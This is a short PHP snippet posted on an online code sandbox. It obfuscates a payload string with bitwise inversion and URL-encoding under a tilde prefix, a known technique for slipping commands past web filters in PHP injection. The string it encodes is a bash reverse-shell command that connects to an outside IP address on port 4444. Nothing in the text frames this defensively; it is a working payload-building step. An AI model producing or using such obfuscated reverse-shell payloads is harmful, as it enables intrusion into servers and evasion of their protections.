Hi! Could we please enable some services and cookies to improve your experience and our website?
Online Sandbox for SQL and PHP: Write, Run, Test, and Share SQL Queries and PHP Code
<?php
function invertWithTilde($input) {
$inverted = '';
// 按字节处理每个字符(适用于ASCII字符)
for ($i = 0; $i < strlen($input); $i++) {
$original = $input[$i];
// 关键操作:按位取反并URL编码
$inverted .= urlencode(~$original);
}
// 自动添加波浪号前缀
return '~' . $inverted;
}
// 测试"XXXXXX"
$input = "bash -i >& /dev/tcp/172.21.49.113/4444 0>&1";
$output = invertWithTilde($input);
echo "$output";